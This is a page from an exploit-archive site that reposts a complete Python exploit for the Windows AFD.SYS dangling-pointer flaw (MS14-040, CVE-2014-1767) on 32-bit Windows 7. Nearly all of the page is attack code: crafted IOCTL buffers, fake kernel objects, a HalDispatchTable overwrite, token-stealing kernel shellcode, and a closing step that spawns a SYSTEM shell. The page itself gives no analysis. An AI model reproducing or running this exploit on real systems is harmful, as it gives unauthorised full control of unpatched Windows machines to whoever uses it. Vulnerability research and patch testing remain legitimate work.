Advertisement






Microsoft Windows - AFD.SYS Dangling Pointer Privilege Escalation MS14-040

CVE Category Price Severity
Author Risk Exploitation Type Date
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016020154

Below is a copy:

Microsoft Windows - AFD.SYS Dangling Pointer Privilege Escalation MS14-040# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer
# Date: 2016-02-05
# Exploit Author: Rick Larabee
# Vendor Homepage: www.microsoft.com
# Version: Windows 7, 32 bit
# Tested on: Win7 x32
#        afd.sys - 6.1.7600.16385
#            ntdll.dll - 6.1.7600.16385 
#
# CVE : CVE-2014-1767
# Category: Local Privilege Escalation
# References:
#   http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
#   http://ricklarabee.blogspot.com/
#   https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/
#   https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
#   http://www.cvedetails.com/cve/CVE-2014-1767/
#
# Greetz: PWN4GEPWN1E, SecurityMook
 
 
 
from ctypes import *
import socket, time, os, struct, sys
from ctypes.wintypes import HANDLE, DWORD
 
kernel32 = windll.kernel32
ntdll    = windll.ntdll
Psapi    = windll.Psapi
 
MEMRES     = (0x1000 | 0x2000)
PAGEEXE    = 0x00000040
Zerobits   = c_int(0)
RegionSize = c_int(0x1000)
written    = c_int(0)
 
FakeObjSize = 0xA0
 
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
INVALID_HANDLE_VALUE = -1
 
WSAGetLastError          = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype  = c_int
SOCKET                   = c_int
WSASocket                = windll.Ws2_32.WSASocketA
WSASocket.argtypes       = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype        = SOCKET
closesocket              = windll.Ws2_32.closesocket
closesocket.argtypes     = (SOCKET,)
closesocket.restype      = c_int
connect                  = windll.Ws2_32.connect
connect.argtypes         = (SOCKET, c_void_p, c_int)
connect.restype          = c_int
 
class sockaddr_in(Structure):
    _fields_ = [
        ("sin_family", c_short),
        ("sin_port", c_ushort),
        ("sin_addr", c_ulong),
        ("sin_zero", c_char * 8),
        ]   
 
def findSysBase(drvname=None):
    ARRAY_SIZE            = 1024
    myarray               = c_ulong * ARRAY_SIZE 
    lpImageBase           = myarray() 
    cb                    = c_int(1024) 
    lpcbNeeded            = c_long() 
    drivername_size       = c_long() 
    drivername_size.value = 48
 
    Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) 
    for baseaddy in lpImageBase: 
        drivername = c_char_p("\x00"*drivername_size.value) 
        if baseaddy: 
            Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, 
                            drivername_size.value)
            if drvname:
                if drivername.value.lower() == drvname:
                    print "[+] Retrieving %s info..." % drvname
                    print "[+] %s base address: %s" % (drvname, hex(baseaddy))
                    return baseaddy
            else:
                if drivername.value.lower().find("krnl") !=-1:
                    print "[+] Retrieving Kernel info..."
                    print "[+] Kernel version:", drivername.value
                    print "[+] Kernel base address: %s" % hex(baseaddy) 
                    return (baseaddy, drivername.value)
    return None
 
 
def CreateBuffer1():
    inbuf1size = 0x30
    virtualAddress = 0x18888888
    length = 0x20000
    
    inbuf1  = "\x00" * 0x18 + struct.pack("L", virtualAddress)    #0x1a
    inbuf1 += struct.pack("L", length)            #0x20
    inbuf1 += "\x00" * 0x8 + "\x01"  
    inbuf1 += "\x00" * (inbuf1size - len(inbuf1))
        
    baseadd    = c_int(0x1001)
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                        byref(baseadd),
                                        0x0,
                                        byref(RegionSize),
                                        MEMRES,
                                        PAGEEXE)
    kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written))
 
 
def CreateBuffer2():
    inbuf2size = 0x10
    addrforbuf2 = 0x0AAAAAAA
    
    inbuf2 = "\x01\x00\x00\x00"
    inbuf2 += struct.pack("L", addrforbuf2)
    inbuf2 += "\x00" * (inbuf2size -len(inbuf2))
        
    baseadd    = c_int(0x2001)
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                        byref(baseadd),
                                        0x0,
                                        byref(RegionSize),
                                        MEMRES,
                                        PAGEEXE)   
    kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written))
 
def CreateFakeObject():
    print "[+] Print creating fakeobject"
    fakeobject2addr = 0x2200
    fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C)
    fakeobj2size = len(fakeobject2)
    kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))
 
    objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x01\x00\x00\x00\x01\x00\x00\x00"
        "\x00\x00\x00\x00\x16\x00\x08\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00")
 
 
    fakeobject = objhead
    fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4)
    fakeobject += "\x41" * (FakeObjSize - len(fakeobject))
    kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written))   
    
print "[+] creating socket..."
sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)
 
if sock == -1:
    print "[-] no luck creating socket!"
    sys.exit(1)
 
print "[+] got sock 0x%x" % sock
 
addr = sockaddr_in()
addr.sin_family = socket.AF_INET
addr.sin_port = socket.htons(135)
addr.sin_addr = socket.htonl(0x7f000001)
 
connect(sock, byref(addr), sizeof(addr))
 
print "[+] sock connected."
print "\n[+] GO!"
 
(krnlbase, kernelver) = findSysBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
halbase = findSysBase("halmacpi.dll")
OS = "7"
if OS == "7":
    HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7
    _KPROCESS = "\x50"
    _TOKEN    = "\xf8"
    _UPID     = "\xb4"
    _APLINKS  = "\xb8"  
 
print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)
 
IoStatus = c_ulong()
IoStatusBlock = c_ulong()
 
CreateBuffer1()
CreateBuffer2()
CreateFakeObject()
 
inbuf1 = 0x1000
inbuf2 = 0x2000
hWF = HANDLE(0)
FakeWorkerFactoryADDR = 0x2100
 
 
# Trigger 1
# afd!afdTransmitFile
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0)
 
CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0))
 
ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0)
hWFaddr = hWF
print "[+] WorkerFactoryHandle:", hWF.value
hWFaddr = int(addressof(hWF))
 
shellcode_address   = 0x00020700
padding           = "\x90"*2
HalDispatchTable0x4 = HalDispatchTable + 0x4
 
_WFValue = struct.pack("L", hWFaddr)
 
sc_pointer = struct.pack("L", shellcode_address+0x4)   
restore_ptrs =  "\x31\xc0" + 
                "\xb8" + struct.pack("L", HaliQuerySystemInformation) + 
                "\xa3" + struct.pack("L", HalDispatchTable0x4)   
    
tokenstealing =  "\x52"                                 +
                 "\x53"                                 +
                 "\x33\xc0"                             +
                 "\x64\x8b\x80\x24\x01\x00\x00"         +
                 "\x8b\x40" + _KPROCESS                 +
                 "\x8b\xc8"                             +
                 "\x8b\x98" + _TOKEN + "\x00\x00\x00"   +
                 "\x89\x1d\x00\x09\x02\x00"             +
                 "\x8b\x80" + _APLINKS + "\x00\x00\x00" +
                 "\x81\xe8" + _APLINKS + "\x00\x00\x00" +
                 "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +
                 "\x75\xe8"                             +
                 "\x8b\x90" + _TOKEN + "\x00\x00\x00"   +
                 "\x8b\xc1"                             +
                 "\x89\x90" + _TOKEN + "\x00\x00\x00" 
 
fixobjheaders = "\x33\xC0"                                +
                "\x64\x8B\x80\x24\x01\x00\x00"            +
                "\x8B\x40\x50"                            +
                "\x8B\x80\xF4\x00\x00\x00"                +
                "\x8B\xD8"                                +
                "\x8B\x00"                                +
                "\x8B\x0D" + _WFValue                    +
                "\x83\xE1\xFC"                            +
                "\x03\xC9"                                +
                "\x03\xC1"                                +
                "\xC7\x00\x00\x00\x00\x00"                +
                "\x83\xC3\x30"                            +
                "\x8B\xC3"                                +
                "\x8B\x1B"                                +
                "\x83\xEB\x01"                            +
                "\x89\x18"                                +
                "\x5B"                                    +
                "\x5A"                                    +
                "\xC2\x10\x00"
 
                
shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
shellcode_size    = len(shellcode)
orig_size         = shellcode_size
startPage = c_int(0x00020000)
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))
 
 
### Trigger 2
## afd!AfdTransmitPackets
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0)
 
ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)
 
ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ;
 
inp  = c_ulong()
out  = c_ulong()
inp  = 0x1337
qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
print "[*] Spawning a SYSTEM shell..."
os.system("cmd.exe /K cd c:\windows\system32")


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum